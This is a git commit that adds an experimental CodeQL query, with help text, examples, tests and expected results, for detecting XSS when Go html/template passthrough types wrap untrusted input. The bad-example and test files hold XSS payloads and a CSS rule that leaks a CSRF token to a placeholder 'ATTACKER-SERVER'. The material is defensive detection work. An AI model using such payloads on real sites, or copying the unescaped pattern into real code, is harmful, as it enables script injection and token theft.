Add CWE-79: HTML template escaping passthrough

This commit is contained in:
Slavomir
2021-03-03 22:37:43 +01:00
committed by Chris Smowton
parent 29bf388b83
commit 49894341a8
7 changed files with 387 additions and 0 deletions

View File

@@ -0,0 +1,28 @@
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
<qhelp>
<overview>
<p>
In Go, the <code>html/template</code> package has a few special types
(<code>HTML</code>, <code>HTMLAttr</code>, <code>JS</code>, <code>JSStr</code>, <code>CSS</code>,
<code>Srcset</code>, <code>URL</code>)
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
</p>
<p>Using them on user-provided values will result in an XSS.</p>
</overview>
<recommendation>
<p>
Make sure to never use those types on untrusted content.
</p>
</recommendation>
<example>
<p>
In the first example you can see the special types and how they are used in a template:
</p>
<sample src="HTMLTemplateEscapingPassthroughBad.go" />
<p>
To avoid XSS, all user input should be a normal string type.
</p>
<sample src="HTMLTemplateEscapingPassthroughGood.go" />
</example>
</qhelp>

View File

@@ -0,0 +1,108 @@
/**
* @name HTML template escaping passthrough
* @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
* template, it may result in XSS.
* @kind path-problem
* @problem.severity warning
* @id go/html-template-escaping-passthrough
* @tags security
* external/cwe/cwe-79
*/
import go
import DataFlow::PathGraph
private class DummySource extends UntrustedFlowSource::Range {
DummySource() {
exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
call = fn.getACall() and
this = call.getResult()
)
}
}
/**
* Holds if the provided src node flows into a conversion to a PassthroughType.
*/
predicate isConvertedToPassthroughType(
DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
) {
exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source |
cfg.hasFlowPath(source, conversionSink) and
source.getNode() = src and
targetType = cfg.getDstTypeName()
)
}
/**
* Gets the names of the types that will not be escaped when passed to
* a `html/template` template.
*/
string getAPassthroughTypeName() {
result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"]
}
/**
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
* is converted into a special type which will not be escaped by the template generator;
* this allows the injection of arbitrary content (html, css, js) into the generated
* output of the templates.
*/
class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
string dstTypeName;
ConversionFlowToPassthroughTypeConf() {
dstTypeName = getAPassthroughTypeName() and
this = "UnsafeConversion" + dstTypeName
}
string getDstTypeName() { result = dstTypeName }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
exists(Type typ |
typ = sink.getResultType() and
typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
name = getAPassthroughTypeName()
)
}
override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
}
/**
* Holds if the the sink is a data value argument of a template execution call.
*/
predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
exists(Method fn, string methodName |
fn.hasQualifiedName("html/template", "Template", methodName) and
call = fn.getACall()
|
methodName = "Execute" and sink = call.getArgument(1)
or
methodName = "ExecuteTemplate" and sink = call.getArgument(2)
)
}
/**
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
* flows into a template executor call.
*/
class TemplateExecutionFlowConf extends TaintTracking::Configuration {
TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
}
from
TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink,
string targetTypeName, DataFlow::PathNode conversionSink
where
cfg.hasFlowPath(source, sink) and
isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink)
select sink.getNode(), source, sink,
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
source.getNode(), "untrusted source", conversionSink.getNode(), "converted"

View File

@@ -0,0 +1,70 @@
package main
import (
"html/template"
"os"
)
func main() {}
func source(s string) string {
return s
}
type HTMLAlias = template.HTML
func checkError(err error) {
if err != nil {
panic(err)
}
}
// bad is an example of a bad implementation
func bad() {
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
{
{
var a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
{
var a template.HTML
a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
var a HTMLAlias
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
}
}
{
var c = template.HTMLAttr(source(`href="https://example.com"`))
checkError(tmplTag.Execute(os.Stdout, c))
}
{
var d = template.JS(source("alert({hello: 'world'})"))
checkError(tmplScript.Execute(os.Stdout, d))
}
{
var e = template.JSStr(source("setTimeout('alert()')"))
checkError(tmplScript.Execute(os.Stdout, e))
}
{
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
checkError(tmpl.Execute(os.Stdout, b))
}
{
var f = template.Srcset(source(`evil.jpg 320w`))
checkError(tmplSrcset.Execute(os.Stdout, f))
}
{
var g = template.URL(source("javascript:alert(1)"))
checkError(tmpl.Execute(os.Stdout, g))
}
}

View File

@@ -0,0 +1,15 @@
package main
import (
"html/template"
"os"
)
// good is an example of a good implementation
func good() {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped:
var caught = source(`<a href="example.com">link</a>`)
checkError(tmpl.Execute(os.Stdout, caught))
}
}

View File

@@ -0,0 +1,87 @@
edges
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a |
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion |
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a |
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion |
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a |
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion |
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c |
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion |
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d |
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion |
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e |
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion |
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b |
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion |
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f |
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion |
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g |
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion |
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught |
nodes
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string |
| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught |
#select
| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted |

View File

@@ -0,0 +1,78 @@
package main
import (
"html/template"
"os"
)
func main() {}
func source(s string) string {
return s
}
func checkError(err error) {
if err != nil {
panic(err)
}
}
type HTMLAlias = template.HTML
// bad is an example of a bad implementation
func bad() {
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
{
{
var a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
{
var a template.HTML
a = template.HTML(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
{
var a HTMLAlias
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
checkError(tmpl.Execute(os.Stdout, a))
}
}
}
{
var c = template.HTMLAttr(source(`href="https://example.com"`))
checkError(tmplTag.Execute(os.Stdout, c))
}
{
var d = template.JS(source("alert({hello: 'world'})"))
checkError(tmplScript.Execute(os.Stdout, d))
}
{
var e = template.JSStr(source("setTimeout('alert()')"))
checkError(tmplScript.Execute(os.Stdout, e))
}
{
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
checkError(tmpl.Execute(os.Stdout, b))
}
{
var f = template.Srcset(source(`evil.jpg 320w`))
checkError(tmplSrcset.Execute(os.Stdout, f))
}
{
var g = template.URL(source("javascript:alert(1)"))
checkError(tmpl.Execute(os.Stdout, g))
}
}
// good is an example of a good implementation
func good() {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped:
var caught = source(`<a href="example.com">link</a>`)
checkError(tmpl.Execute(os.Stdout, caught))
}
}

View File

@@ -0,0 +1 @@
experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql